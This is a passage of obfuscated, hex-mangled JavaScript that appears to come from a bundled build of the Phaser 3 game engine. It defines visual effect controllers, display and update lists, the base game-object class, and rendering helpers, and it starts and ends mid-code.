_0x3c3e8c[0x1] = _0x119064 >> 0x8 & 0xff, _0x3c3e8c[0x2] = 0xff & _0x119064; } } }); _0x4d3162['exports'] = _0x27f8cc; }, 0x15366: (_0x1c1fbf, _0x3e5727, _0x1e7752) => { var _0x3231fc = _0x1e7752(0x145db), _0x240b77 = _0x1e7752(0x11cc2), _0x2801b5 = _0x1e7752(0x39db), _0x13fde6 = new _0x3231fc({ 'Extends': _0x240b77, 'initialize': function (_0x51c736, _0x4a34f7) { void 0x0 === _0x4a34f7 && (_0x4a34f7 = 0x1), _0x240b77['call'](this, _0x2801b5['PIXELATE'], _0x51c736), this['amount'] = _0x4a34f7; } }); _0x1c1fbf['exports'] = _0x13fde6; }, 0x168a2: (_0x1e1d5b, _0x1f10dc, _0x1c6c10) => { var _0x1c28b4 = _0x1c6c10(0x145db), _0x47fec3 = _0x1c6c10(0x11cc2), _0x5677b5 = _0x1c6c10(0x39db), _0x53e52a = new _0x1c28b4({ 'Extends': _0x47fec3, 'initialize': function (_0x361f93, _0x187192, _0x13ef24, _0xb973be, _0x4c8924, _0x35dd48, _0x4bc20b, _0xb67cf) { void 0x0 === _0x187192 && (_0x187192 = 0x0), void 0x0 === _0x13ef24 && (_0x13ef24 = 0x0), void 0x0 === _0xb973be && (_0xb973be = 0.1), void 0x0 === _0x4c8924 && (_0x4c8924 = 0x1), void 0x0 === _0x4bc20b && (_0x4bc20b = 0x6), void 0x0 === _0xb67cf && (_0xb67cf = 0x1), _0x47fec3['call'](this, _0x5677b5['SHADOW'], _0x361f93), this['x'] = _0x187192, this['y'] = _0x13ef24, this['decay'] = _0xb973be, this['power'] = _0x4c8924, this['glcolor'] = [0x0, 0x0, 0x0, 0x1], this['samples'] = _0x4bc20b, this['intensity'] = _0xb67cf, void 0x0 !== _0x35dd48 && (this['color'] = _0x35dd48); }, 'color': { 'get': function () { var _0x14dc00 = this['glcolor']; return (0xff * _0x14dc00[0x0] << 0x10) + (0xff * _0x14dc00[0x1] << 0x8) + (0xff * _0x14dc00[0x2] | 0x0); }, 'set': function (_0xd55fa3) { var _0x1bb2e9 = this['glcolor']; _0x1bb2e9[0x0] = (_0xd55fa3 >> 0x10 & 0xff) / 0xff, _0x1bb2e9[0x1] = (_0xd55fa3 >> 0x8 & 0xff) / 0xff, _0x1bb2e9[0x2] = (0xff & _0xd55fa3) / 0xff; } } }); _0x1e1d5b['exports'] = _0x53e52a; }, 0x9a8b: (_0x16306f, _0x2324b5, _0x1c7a59) => { var _0x153378 = _0x1c7a59(0x145db), _0x11cb63 = _0x1c7a59(0x11cc2), _0x60bacc = _0x1c7a59(0x39db), _0x28afc6 = new _0x153378({ 'Extends': _0x11cb63, 'initialize': function (_0x5c068e, _0x507952, _0x10175f, _0x11522d, _0x35d3fd) { void 0x0 === _0x507952 && (_0x507952 = 0.5), void 0x0 === _0x10175f && (_0x10175f = 0.5), void 0x0 === _0x11522d && (_0x11522d = 0x3), void 0x0 === _0x35d3fd && (_0x35d3fd = !0x1), _0x11cb63['call'](this, _0x60bacc['SHINE'], _0x5c068e), this['speed'] = _0x507952, this['lineWidth'] = _0x10175f, this['gradient'] = _0x11522d, this['reveal'] = _0x35d3fd; } }); _0x16306f['exports'] = _0x28afc6; }, 0xdc80: (_0x1c65b8, _0x18cfbe, _0x2e7210) => { var _0x337545 = _0x2e7210(0x145db), _0x324eae = _0x2e7210(0x11cc2), _0x2a6ac9 = _0x2e7210(0x39db), _0x59db14 = new _0x337545({ 'Extends': _0x324eae, 'initialize': function (_0x3c824f, _0x245ccc, _0xbf29ab, _0x46e5cf, _0x21cbe6) { void 0x0 === _0x245ccc && (_0x245ccc = 0.5), void 0x0 === _0xbf29ab && (_0xbf29ab = 0.5), void 0x0 === _0x46e5cf && (_0x46e5cf = 0.5), void 0x0 === _0x21cbe6 && (_0x21cbe6 = 0.5), _0x324eae['call'](this, _0x2a6ac9['VIGNETTE'], _0x3c824f), this['x'] = _0x245ccc, this['y'] = _0xbf29ab, this['radius'] = _0x46e5cf, this['strength'] = _0x21cbe6; } }); _0x1c65b8['exports'] = _0x59db14; }, 0x9621: (_0x4538d4, _0x1a261e, _0x5abe89) => { var _0xb14372 = _0x5abe89(0x145db), _0x27f356 = _0x5abe89(0x11cc2), _0x2ae712 = _0x5abe89(0x39db), _0x36a2f3 = new _0xb14372({ 'Extends': _0x27f356, 'initialize': function (_0x98132c, _0x101b32, _0x253747, _0x1e7b37, _0xb10a06) { void 0x0 === _0x101b32 && (_0x101b32 = 0.1), void 0x0 === _0x253747 && (_0x253747 = 0x0), void 0x0 === _0x1e7b37 && (_0x1e7b37 = 0x0), void 0x0 === _0xb10a06 && (_0xb10a06 = !0x1), _0x27f356['call'](this, _0x2ae712['WIPE'], _0x98132c), this['progress'] = 0x0, this['wipeWidth'] = _0x101b32, this['direction'] = _0x253747, this['axis'] = _0x1e7b37, this['reveal'] = _0xb10a06; } }); _0x4538d4['exports'] = _0x36a2f3; }, 0x39db: _0x298ff5 => { _0x298ff5['exports'] = { 'GLOW': 0x4, 'SHADOW': 0x5, 'PIXELATE': 0x6, 'VIGNETTE': 0x7, 'SHINE': 0x8, 'BLUR': 0x9, 'GRADIENT': 0xc, 'BLOOM': 0xd, 'COLOR_MATRIX': 0xe, 'CIRCLE': 0xf, 'BARREL': 0x10, 'DISPLACEMENT': 0x11, 'WIPE': 0x12, 'BOKEH': 0x13 }; }, 0x10210: (_0x358004, _0x68442f, _0x9f7ff6) => { var _0x2cde9e = _0x9f7ff6(0x135bb), _0x3a2e68 = _0x9f7ff6(0x39db), _0x5d4da6 = { 'Barrel': _0x9f7ff6(0x4e9a), 'Controller': _0x9f7ff6(0x11cc2), 'Bloom': _0x9f7ff6(0x7dfb), 'Blur': _0x9f7ff6(0x2357), 'Bokeh': _0x9f7ff6(0x6ced), 'Circle': _0x9f7ff6(0x3122), 'ColorMatrix': _0x9f7ff6(0x3dba), 'Displacement': _0x9f7ff6(0xae09), 'Glow': _0x9f7ff6(0x10bb3), 'Gradient': _0x9f7ff6(0x90ee), 'Pixelate': _0x9f7ff6(0x15366), 'Shadow': _0x9f7ff6(0x168a2), 'Shine': _0x9f7ff6(0x9a8b), 'Vignette': _0x9f7ff6(0xdc80), 'Wipe': _0x9f7ff6(0x9621) }; _0x5d4da6 = _0x2cde9e(!0x1, _0x5d4da6, _0x3a2e68), _0x358004['exports'] = _0x5d4da6; }, 0x62d9: (_0x135b21, _0x31351, _0x1dc49d) => { var _0x160e70 = _0x1dc49d(0x2848), _0x5f32aa = _0x1dc49d(0x5c10); _0x135b21['exports'] = function (_0x56c384, _0x196340, _0x3c2f8f) { _0x196340['x'] = _0x5f32aa(_0x3c2f8f, 'x', 0x0), _0x196340['y'] = _0x5f32aa(_0x3c2f8f, 'y', 0x0), _0x196340['depth'] = _0x5f32aa(_0x3c2f8f, 'depth', 0x0), _0x196340['flipX'] = _0x5f32aa(_0x3c2f8f, 'flipX', !0x1), _0x196340['flipY'] = _0x5f32aa(_0x3c2f8f, 'flipY', !0x1); var _0x4ea68b = _0x5f32aa(_0x3c2f8f, 'scale', null); 'number' == typeof _0x4ea68b ? _0x196340['setScale'](_0x4ea68b) : null !== _0x4ea68b && (_0x196340['scaleX'] = _0x5f32aa(_0x4ea68b, 'x', 0x1), _0x196340['scaleY'] = _0x5f32aa(_0x4ea68b, 'y', 0x1)); var _0x4d2899 = _0x5f32aa(_0x3c2f8f, 'scrollFactor', null); 'number' == typeof _0x4d2899 ? _0x196340['setScrollFactor'](_0x4d2899) : null !== _0x4d2899 && (_0x196340['scrollFactorX'] = _0x5f32aa(_0x4d2899, 'x', 0x1), _0x196340['scrollFactorY'] = _0x5f32aa(_0x4d2899, 'y', 0x1)), _0x196340['rotation'] = _0x5f32aa(_0x3c2f8f, 'rotation', 0x0); var _0x471d63 = _0x5f32aa(_0x3c2f8f, 'angle', null); null !== _0x471d63 && (_0x196340['angle'] = _0x471d63), _0x196340['alpha'] = _0x5f32aa(_0x3c2f8f, 'alpha', 0x1); var _0x1b1cd1 = _0x5f32aa(_0x3c2f8f, 'origin', null); if ('number' == typeof _0x1b1cd1) _0x196340['setOrigin'](_0x1b1cd1); else { if (null !== _0x1b1cd1) { var _0x292ede = _0x5f32aa(_0x1b1cd1, 'x', 0.5), _0x4bdea2 = _0x5f32aa(_0x1b1cd1, 'y', 0.5); _0x196340['setOrigin'](_0x292ede, _0x4bdea2); } } return _0x196340['blendMode'] = _0x5f32aa(_0x3c2f8f, 'blendMode', _0x160e70['NORMAL']), _0x196340['visible'] = _0x5f32aa(_0x3c2f8f, 'visible', !0x0), _0x5f32aa(_0x3c2f8f, 'add', !0x0) && _0x56c384['sys']['displayList']['add'](_0x196340), _0x196340['preUpdate'] && _0x56c384['sys']['updateList']['add'](_0x196340), _0x196340; }; }, 0x3303: (_0x58ec2c, _0x55c842, _0x474637) => { var _0x369f14 = _0x474637(0x5c10); _0x58ec2c['exports'] = function (_0x50642b, _0xe69aa6) { var _0x102ea4 = _0x369f14(_0xe69aa6, 'anims', null); if (null === _0x102ea4) return _0x50642b; if ('string' == typeof _0x102ea4) _0x50642b['anims']['play'](_0x102ea4); else { if ('object' == typeof _0x102ea4) { var _0x16f1cf = _0x50642b['anims'], _0x175547 = _0x369f14(_0x102ea4, 'key', void 0x0); if (_0x175547) { var _0x38c151 = _0x369f14(_0x102ea4, 'startFrame', void 0x0), _0x20e355 = _0x369f14(_0x102ea4, 'delay', 0x0), _0x5b4266 = _0x369f14(_0x102ea4, 'repeat', 0x0), _0x38402b = _0x369f14(_0x102ea4, 'repeatDelay', 0x0), _0x148a81 = _0x369f14(_0x102ea4, 'yoyo', !0x1), _0x3a0397 = _0x369f14(_0x102ea4, 'play', !0x1), _0x1f5017 = _0x369f14(_0x102ea4, 'delayedPlay', 0x0), _0x2653ef = { 'key': _0x175547, 'delay': _0x20e355, 'repeat': _0x5b4266, 'repeatDelay': _0x38402b, 'yoyo': _0x148a81, 'startFrame': _0x38c151 }; _0x3a0397 ? _0x16f1cf['play'](_0x2653ef) : _0x1f5017 > 0x0 ? _0x16f1cf['playAfterDelay'](_0x2653ef, _0x1f5017) : _0x16f1cf['load'](_0x2653ef); } } } return _0x50642b; }; }, 0x1f72: (_0xc66687, _0x1247b8, _0xd538ba) => { var _0x1878fb = _0xd538ba(0x145db), _0x3b93ef = _0xd538ba(0x11dca), _0x52ef6b = _0xd538ba(0x919d), _0xc82a00 = _0xd538ba(0xc9fc), _0x50b8b0 = _0xd538ba(0xae32), _0x28ad04 = _0xd538ba(0x4af2), _0x55657d = new _0x1878fb({ 'Extends': _0x3b93ef, 'initialize': function (_0x415f75) { _0x3b93ef['call'](this, _0x415f75), this['sortChildrenFlag'] = !0x1, this['scene'] = _0x415f75, this['systems'] = _0x415f75['sys'], this['events'] = _0x415f75['sys']['events'], this['addCallback'] = this['addChildCallback'], this['removeCallback'] = this['removeChildCallback'], this['events']['once'](_0x50b8b0['BOOT'], this['boot'], this), this['events']['on'](_0x50b8b0['START'], this['start'], this); }, 'boot': function () { this['events']['once'](_0x50b8b0['DESTROY'], this['destroy'], this); }, 'addChildCallback': function (_0x269a6c) { _0x269a6c['displayList'] && _0x269a6c['displayList'] !== this && _0x269a6c['removeFromDisplayList'](), _0x269a6c['parentContainer'] && _0x269a6c['parentContainer']['remove'](_0x269a6c), _0x269a6c['displayList'] || (this['queueDepthSort'](), _0x269a6c['displayList'] = this, _0x269a6c['emit'](_0xc82a00['ADDED_TO_SCENE'], _0x269a6c, this['scene']), this['events']['emit'](_0x50b8b0['ADDED_TO_SCENE'], _0x269a6c, this['scene'])); }, 'removeChildCallback': function (_0x223c53) { this['queueDepthSort'](), _0x223c53['displayList'] = null, _0x223c53['emit'](_0xc82a00['REMOVED_FROM_SCENE'], _0x223c53, this['scene']), this['events']['emit'](_0x50b8b0['REMOVED_FROM_SCENE'], _0x223c53, this['scene']); }, 'start': function () { this['events']['once'](_0x50b8b0['SHUTDOWN'], this['shutdown'], this); }, 'queueDepthSort': function () { this['sortChildrenFlag'] = !0x0; }, 'depthSort': function () { this['sortChildrenFlag'] && (_0x28ad04(this['list'], this['sortByDepth']), this['sortChildrenFlag'] = !0x1); }, 'sortByDepth': function (_0x1cc6ab, _0x2e6c2b) { return _0x1cc6ab['_depth'] - _0x2e6c2b['_depth']; }, 'getChildren': function () { return this['list']; }, 'shutdown': function () { for (var _0x34626a = this['list']; _0x34626a['length'];)_0x34626a[0x0]['destroy'](!0x0); this['events']['off'](_0x50b8b0['SHUTDOWN'], this['shutdown'], this); }, 'destroy': function () { this['shutdown'](), this['events']['off'](_0x50b8b0['START'], this['start'], this), this['scene'] = null, this['systems'] = null, this['events'] = null; } }); _0x52ef6b['register']('DisplayList', _0x55657d, 'displayList'), _0xc66687['exports'] = _0x55657d; }, 0x1759b: (_0x5585e8, _0x5dda78, _0xfeae39) => { var _0x4d4226 = _0xfeae39(0x145db), _0x24cd1f = _0xfeae39(0xd20e), _0x316766 = _0xfeae39(0xb345), _0x3c8db8 = _0xfeae39(0xc668), _0x5526ea = _0xfeae39(0xc9fc), _0x9e7f69 = _0xfeae39(0xae32), _0xf8fad5 = new _0x4d4226({ 'Extends': _0x3c8db8, 'initialize': function (_0x3a5298, _0x4baf5a) { _0x3c8db8['call'](this), this['scene'] = _0x3a5298, this['displayList'] = null, this['type'] = _0x4baf5a, this['state'] = 0x0, this['parentContainer'] = null, this['name'] = '', this['active'] = !0x0, this['tabIndex'] = -0x1, this['data'] = null, this['renderFlags'] = 0xf, this['cameraFilter'] = 0x0, this['input'] = null, this['body'] = null, this['ignoreDestroy'] = !0x1, this['on'](_0x5526ea['ADDED_TO_SCENE'], this['addedToScene'], this), this['on'](_0x5526ea['REMOVED_FROM_SCENE'], this['removedFromScene'], this), _0x3a5298['sys']['queueDepthSort'](); }, 'setActive': function (_0x313e7d) { return this['active'] = _0x313e7d, this; }, 'setName': function (_0x3251d4) { return this['name'] = _0x3251d4, this; }, 'setState': function (_0x2a0deb) { return this['state'] = _0x2a0deb, this; }, 'setDataEnabled': function () { return this['data'] || (this['data'] = new _0x316766(this)), this; }, 'setData': function (_0x3474a4, _0x5c6530) { return this['data'] || (this['data'] = new _0x316766(this)), this['data']['set'](_0x3474a4, _0x5c6530), this; }, 'incData': function (_0x2a4fcb, _0x42bc3e) { return this['data'] || (this['data'] = new _0x316766(this)), this['data']['inc'](_0x2a4fcb, _0x42bc3e), this; }, 'toggleData': function (_0x3ff88d) { return this['data'] || (this['data'] = new _0x316766(this)), this['data']['toggle'](_0x3ff88d), this; }, 'getData': function (_0x2ec74d) { return this['data'] || (this['data'] = new _0x316766(this)), this['data']['get'](_0x2ec74d); }, 'setInteractive': function (_0x529d39, _0x2ed27b, _0xddfc1c) { return this['scene']['sys']['input']['enable'](this, _0x529d39, _0x2ed27b, _0xddfc1c), this; }, 'disableInteractive': function (_0x4e91e) { return void 0x0 === _0x4e91e && (_0x4e91e = !0x1), this['scene']['sys']['input']['disable'](this, _0x4e91e), this; }, 'removeInteractive': function (_0x117d0a) { return void 0x0 === _0x117d0a && (_0x117d0a = !0x1), this['scene']['sys']['input']['clear'](this), _0x117d0a && this['scene']['sys']['input']['resetCursor'](), this['input'] = void 0x0, this; }, 'addedToScene': function () { }, 'removedFromScene': function () { }, 'update': function () { }, 'toJSON': function () { return _0x24cd1f(this); }, 'willRender': function (_0x44feff) { return !(this['displayList'] && this['displayList']['active'] && !this['displayList']['willRender'](_0x44feff) || _0xf8fad5['RENDER_MASK'] !== this['renderFlags'] || 0x0 !== this['cameraFilter'] && this['cameraFilter'] & _0x44feff['id']); }, 'getIndexList': function () { for (var _0x5f37ce = this, _0x3f2666 = this['parentContainer'], _0x507759 = []; _0x3f2666 && (_0x507759['unshift'](_0x3f2666['getIndex'](_0x5f37ce)), _0x5f37ce = _0x3f2666, _0x3f2666['parentContainer']);)_0x3f2666 = _0x3f2666['parentContainer']; return this['displayList'] ? _0x507759['unshift'](this['displayList']['getIndex'](_0x5f37ce)) : _0x507759['unshift'](this['scene']['sys']['displayList']['getIndex'](_0x5f37ce)), _0x507759; }, 'addToDisplayList': function (_0x231e50) { return void 0x0 === _0x231e50 && (_0x231e50 = this['scene']['sys']['displayList']), this['displayList'] && this['displayList'] !== _0x231e50 && this['removeFromDisplayList'](), _0x231e50['exists'](this) || (this['displayList'] = _0x231e50, _0x231e50['add'](this, !0x0), _0x231e50['queueDepthSort'](), this['emit'](_0x5526ea['ADDED_TO_SCENE'], this, this['scene']), _0x231e50['events']['emit'](_0x9e7f69['ADDED_TO_SCENE'], this, this['scene'])), this; }, 'addToUpdateList': function () { return this['scene'] && this['preUpdate'] && this['scene']['sys']['updateList']['add'](this), this; }, 'removeFromDisplayList': function () { var _0xc14346 = this['displayList'] || this['scene']['sys']['displayList']; return _0xc14346 && _0xc14346['exists'](this) && (_0xc14346['remove'](this, !0x0), _0xc14346['queueDepthSort'](), this['displayList'] = null, this['emit'](_0x5526ea['REMOVED_FROM_SCENE'], this, this['scene']), _0xc14346['events']['emit'](_0x9e7f69['REMOVED_FROM_SCENE'], this, this['scene'])), this; }, 'removeFromUpdateList': function () { return this['scene'] && this['preUpdate'] && this['scene']['sys']['updateList']['remove'](this), this; }, 'getDisplayList': function () { var _0xc4089e = null; return this['parentContainer'] ? _0xc4089e = this['parentContainer']['list'] : this['displayList'] && (_0xc4089e = this['displayList']['list']), _0xc4089e; }, 'destroy': function (_0x1d743c) { this['scene'] && !this['ignoreDestroy'] && (void 0x0 === _0x1d743c && (_0x1d743c = !0x1), this['preDestroy'] && this['preDestroy']['call'](this), this['emit'](_0x5526ea['DESTROY'], this, _0x1d743c), this['removeAllListeners'](), this['postPipelines'] && this['resetPostPipeline'](!0x0), this['removeFromDisplayList'](), this['removeFromUpdateList'](), this['input'] && (this['scene']['sys']['input']['clear'](this), this['input'] = void 0x0), this['data'] && (this['data']['destroy'](), this['data'] = void 0x0), this['body'] && (this['body']['destroy'](), this['body'] = void 0x0), this['preFX'] && (this['preFX']['destroy'](), this['preFX'] = void 0x0), this['postFX'] && (this['postFX']['destroy'](), this['postFX'] = void 0x0), this['active'] = !0x1, this['visible'] = !0x1, this['scene'] = void 0x0, this['parentContainer'] = void 0x0); } }); _0xf8fad5['RENDER_MASK'] = 0xf, _0x5585e8['exports'] = _0xf8fad5; }, 0xae3b: (_0x4e6f3e, _0x5878c2, _0x2522f4) => { var _0x374c81 = _0x2522f4(0x145db), _0x201a03 = _0x2522f4(0x919d), _0x226e7c = _0x2522f4(0xae32), _0xc7c89a = new _0x374c81({ 'initialize': function (_0x55d0e3) { this['scene'] = _0x55d0e3, this['systems'] = _0x55d0e3['sys'], this['events'] = _0x55d0e3['sys']['events'], this['displayList'], this['updateList'], this['events']['once'](_0x226e7c['BOOT'], this['boot'], this), this['events']['on'](_0x226e7c['START'], this['start'], this); }, 'boot': function () { this['displayList'] = this['systems']['displayList'], this['updateList'] = this['systems']['updateList'], this['events']['once'](_0x226e7c['DESTROY'], this['destroy'], this); }, 'start': function () { this['events']['once'](_0x226e7c['SHUTDOWN'], this['shutdown'], this); }, 'shutdown': function () { this['events']['off'](_0x226e7c['SHUTDOWN'], this['shutdown'], this); }, 'destroy': function () { this['shutdown'](), this['events']['off'](_0x226e7c['START'], this['start'], this), this['scene'] = null, this['systems'] = null, this['events'] = null, this['displayList'] = null, this['updateList'] = null; } }); _0xc7c89a['register'] = function (_0x219211, _0x418150) { _0xc7c89a['prototype']['hasOwnProperty'](_0x219211) || (_0xc7c89a['prototype'][_0x219211] = _0x418150); }, _0xc7c89a['remove'] = function (_0x38f488) { _0xc7c89a['prototype']['hasOwnProperty'](_0x38f488) && delete _0xc7c89a['prototype'][_0x38f488]; }, _0x201a03['register']('GameObjectCreator', _0xc7c89a, 'make'), _0x4e6f3e['exports'] = _0xc7c89a; }, 0x9a05: (_0x1d5357, _0x22d1c3, _0x3ec61e) => { var _0x32e93f = _0x3ec61e(0x145db), _0x415ec7 = _0x3ec61e(0x919d), _0x1165dc = _0x3ec61e(0xae32), _0xf61d98 = new _0x32e93f({ 'initialize': function (_0x22e453) { this['scene'] = _0x22e453, this['systems'] = _0x22e453['sys'], this['events'] = _0x22e453['sys']['events'], this['displayList'], this['updateList'], this['events']['once'](_0x1165dc['BOOT'], this['boot'], this), this['events']['on'](_0x1165dc['START'], this['start'], this); }, 'boot': function () { this['displayList'] = this['systems']['displayList'], this['updateList'] = this['systems']['updateList'], this['events']['once'](_0x1165dc['DESTROY'], this['destroy'], this); }, 'start': function () { this['events']['once'](_0x1165dc['SHUTDOWN'], this['shutdown'], this); }, 'existing': function (_0x25aae9) { return (_0x25aae9['renderCanvas'] || _0x25aae9['renderWebGL']) && this['displayList']['add'](_0x25aae9), _0x25aae9['preUpdate'] && this['updateList']['add'](_0x25aae9), _0x25aae9; }, 'shutdown': function () { this['events']['off'](_0x1165dc['SHUTDOWN'], this['shutdown'], this); }, 'destroy': function () { this['shutdown'](), this['events']['off'](_0x1165dc['START'], this['start'], this), this['scene'] = null, this['systems'] = null, this['events'] = null, this['displayList'] = null, this['updateList'] = null; } }); _0xf61d98['register'] = function (_0xdc2260, _0x4c47cd) { _0xf61d98['prototype']['hasOwnProperty'](_0xdc2260) || (_0xf61d98['prototype'][_0xdc2260] = _0x4c47cd); }, _0xf61d98['remove'] = function (_0x136887) { _0xf61d98['prototype']['hasOwnProperty'](_0x136887) && delete _0xf61d98['prototype'][_0x136887]; }, _0x415ec7['register']('GameObjectFactory', _0xf61d98, 'add'), _0x1d5357['exports'] = _0xf61d98; }, 0x164a0: (_0x29a6f7, _0xddc18, _0x34af3a) => { var _0x44b9bd = _0x34af3a(0xef9c), _0x27495d = new _0x44b9bd(), _0x46b436 = new _0x44b9bd(), _0x4c1f2d = new _0x44b9bd(), _0x57d783 = { 'camera': _0x27495d, 'sprite': _0x46b436, 'calc': _0x4c1f2d }; _0x29a6f7['exports'] = function (_0x7c07c2, _0x4ce9a0, _0x346a7e) { var _0x549f05 = _0x27495d, _0x2c9417 = _0x46b436, _0x57ab24 = _0x4c1f2d; return _0x2c9417['applyITRS'](_0x7c07c2['x'], _0x7c07c2['y'], _0x7c07c2['rotation'], _0x7c07c2['scaleX'], _0x7c07c2['scaleY']), _0x549f05['copyFrom'](_0x4ce9a0['matrix']), _0x346a7e ? (_0x549f05['multiplyWithOffset'](_0x346a7e, -_0x4ce9a0['scrollX'] * _0x7c07c2['scrollFactorX'], -_0x4ce9a0['scrollY'] * _0x7c07c2['scrollFactorY']), _0x2c9417['e'] = _0x7c07c2['x'], _0x2c9417['f'] = _0x7c07c2['y']) : (_0x2c9417['e'] -= _0x4ce9a0['scrollX'] * _0x7c07c2['scrollFactorX'], _0x2c9417['f'] -= _0x4ce9a0['scrollY'] * _0x7c07c2['scrollFactorY']), _0x549f05['multiply'](_0x2c9417, _0x57ab24), _0x57d783; }; }, 0xafe3: (_0x46ebce, _0x25276a, _0x37eaae) => { var _0x12ce86 = _0x37eaae(0x145db), _0x45df44 = _0x37eaae(0x64ae), _0x1f6c92 = _0x37eaae(0x919d), _0x5d8dc5 = _0x37eaae(0xae32), _0x47e85e = new _0x12ce86({ 'Extends': _0x45df44, 'initialize': function (_0x1fa4b0) { _0x45df44['call'](this), this['checkQueue'] = !0x0, this['scene'] = _0x1fa4b0, this['systems'] = _0x1fa4b0['sys'], _0x1fa4b0['sys']['events']['once'](_0x5d8dc5['BOOT'], this['boot'], this), _0x1fa4b0['sys']['events']['on'](_0x5d8dc5['START'], this['start'], this); }, 'boot': function () { this['systems']['events']['once'](_0x5d8dc5['DESTROY'], this['destroy'], this); }, 'start': function () { var _0xcfd0fb = this['systems']['events']; _0xcfd0fb['on'](_0x5d8dc5['PRE_UPDATE'], this['update'], this), _0xcfd0fb['on'](_0x5d8dc5['UPDATE'], this['sceneUpdate'], this), _0xcfd0fb['once'](_0x5d8dc5['SHUTDOWN'], this['shutdown'], this); }, 'sceneUpdate': function (_0x417f0d, _0xfd5509) { for (var _0x4c2f6b = this['_active'], _0x2dbb4c = _0x4c2f6b['length'], _0x408954 = 0x0; _0x408954 < _0x2dbb4c; _0x408954++) { var _0x3d1c53 = _0x4c2f6b[_0x408954]; _0x3d1c53['active'] && _0x3d1c53['preUpdate']['call'](_0x3d1c53, _0x417f0d, _0xfd5509); } }, 'shutdown': function () { for (var _0x4b64b6 = this['_active']['length']; _0x4b64b6--;)this['_active'][_0x4b64b6]['destroy'](!0x0); for (_0x4b64b6 = this['_pending']['length']; _0x4b64b6--;)this['_pending'][_0x4b64b6]['destroy'](!0x0); for (_0x4b64b6 = this['_destroy']['length']; _0x4b64b6--;)this['_destroy'][_0x4b64b6]['destroy'](!0x0); this['_toProcess'] = 0x0, this['_pending'] = [], this['_active'] = [], this['_destroy'] = [], this['removeAllListeners'](); var _0x3da6a2 = this['systems']['events']; _0x3da6a2['off'](_0x5d8dc5['PRE_UPDATE'], this['update'], this), _0x3da6a2['off'](_0x5d8dc5['UPDATE'], this['sceneUpdate'], this), _0x3da6a2['off'](_0x5d8dc5['SHUTDOWN'], this['shutdown'], this); }, 'destroy': function () { this['shutdown'](), this['systems']['events']['off'](_0x5d8dc5['START'], this['start'], this), this['scene'] = null, this['systems'] = null; } }); _0x1f6c92['register']('UpdateList', _0x47e85e, 'updateList'), _0x46ebce['exports'] = _0x47e85e; }, 0xc91: _0x190413 => { _0x190413['exports'] = function (_0x1fe57b, _0x21e572, _0x4fe52a, _0x58da56, _0x4288dc, _0xac7eba, _0x1ad958, _0x47dc5e, _0x23cb47, _0x469d1d, _0x30c7eb, _0x5a3d2c, _0x52cda2, _0x3f34b3, _0x384e1f) { var _0x287b1e = _0x4fe52a['x'] - _0x21e572['displayOriginX'] + _0x4288dc, _0x3f8e6c = _0x4fe52a['y'] - _0x21e572['displayOriginY'] + _0xac7eba, _0x58a423 = _0x287b1e + _0x4fe52a['w'], _0x303193 = _0x3f8e6c + _0x4fe52a['h'], _0x48f311 = _0x1ad958['a'], _0x58f1bb = _0x1ad958['b'], _0x14cb42 = _0x1ad958['c'], _0x446f27 = _0x1ad958['d'], _0x324781 = _0x1ad958['e'], _0x14d7ec = _0x1ad958['f'], _0x40515c = _0x287b1e * _0x48f311 + _0x3f8e6c * _0x14cb42 + _0x324781, _0x2caae5 = _0x287b1e * _0x58f1bb + _0x3f8e6c * _0x446f27 + _0x14d7ec, _0x1de286 = _0x287b1e * _0x48f311 + _0x303193 * _0x14cb42 + _0x324781, _0x462a4b = _0x287b1e * _0x58f1bb + _0x303193 * _0x446f27 + _0x14d7ec, _0x575331 = _0x58a423 * _0x48f311 + _0x303193 * _0x14cb42 + _0x324781, _0x533171 = _0x58a423 * _0x58f1bb + _0x303193 * _0x446f27 + _0x14d7ec, _0x598aae = _0x58a423 * _0x48f311 + _0x3f8e6c * _0x14cb42 + _0x324781, _0x352f86 = _0x58a423 * _0x58f1bb + _0x3f8e6c * _0x446f27 + _0x14d7ec; _0x47dc5e && (_0x40515c = Math['round'](_0x40515c), _0x2caae5 = Math['round'](_0x2caae5), _0x1de286 = Math['round'](_0x1de286), _0x462a4b = Math['round'](_0x462a4b), _0x575331 = Math['round'](_0x575331), _0x533171 = Math['round'](_0x533171), _0x598aae = Math['round'](_0x598aae), _0x352f86 = Math['round'](_0x352f86)), _0x1fe57b['batchQuad'](_0x21e572, _0x40515c, _0x2caae5, _0x1de286, _0x462a4b, _0x575331, _0x533171, _0x598aae, _0x352f86, _0x58da56['u0'], _0x58da56['v0'], _0x58da56['u1'], _0x58da56['v1'], _0x23cb47, _0x469d1d, _0x30c7eb, _0x5a3d2c, _0x52cda2, _0x3f34b3, _0x384e1f); }; }, 0xcf38: _0x4dc4ae => { _0x4dc4ae['exports'] = function (_0x5278d7, _0x4244bc, _0x234848, _0x19cf5b) { if (void 0x0 === _0x234848 && (_0x234848 = !0x1), void 0x0 === _0x19cf5b) return _0x19cf5b = { 'local': { 'x': 0x0, 'y': 0x0, 'width': 0x0, 'height': 0x0 }, 'global': { 'x': 0x0, 'y': 0x0, 'width': 0x0, 'height': 0x0 }, 'lines': { 'shortest': 0x0, 'longest': 0x0, 'lengths': null, 'height': 0x0 }, 'wrappedText': '', 'words': [], 'characters': [], 'scaleX': 0x0, 'scaleY': 0x0 }; var _0xe0b5de, _0x153a10, _0x432dcb, _0x6003f9 = _0x5278d7['text'], _0x508439 = _0x6003f9['length'], _0x1343cb = _0x5278d7['maxWidth'], _0x1545b2 = _0x5278d7['wordWrapCharCode'], _0x45fd6e = Number['MAX_VALUE'], _0x3141ae = Number['MAX_VALUE'], _0x578ff9 = 0x0, _0x52df56 = 0x0, _0x550d74 = _0x5278d7['fontData']['chars'], _0x14366d = _0x5278d7['fontData']['lineHeight'], _0x248cf2 = _0x5278d7['letterSpacing'], _0x57f8f9 = _0x5278d7['lineSpacing'], _0x5508a3 = 0x0, _0x24effa = 0x0, _0x228671 = 0x0, _0x1e79c0 = null, _0xb69e5f = _0x5278d7['_align'], _0x259884 = 0x0, _0x4fff86 = 0x0, _0x5b5723 = _0x5278d7['fontSize'] / _0x5278d7['fontData']['size'], _0x213bb0 = _0x5b5723 * _0x5278d7['scaleX'], _0x548623 = _0x5b5723 * _0x5278d7['scaleY'], _0x214aa8 = null, _0x37b510 = 0x0, _0xde2d36 = [], _0x61e0e5 = Number['MAX_VALUE'], _0xafd193 = 0x0, _0x1b7ff7 = 0x0, _0x3e8cc7 = 0x0, _0x5af401 = [], _0x1c8181 = [], _0x5479e6 = null, _0x3aff50 = function (_0x4a31c0, _0x2681d3) { for (var _0x23cda6 = 0x0, _0x48cc94 = 0x0; _0x48cc94 < _0x4a31c0['length']; 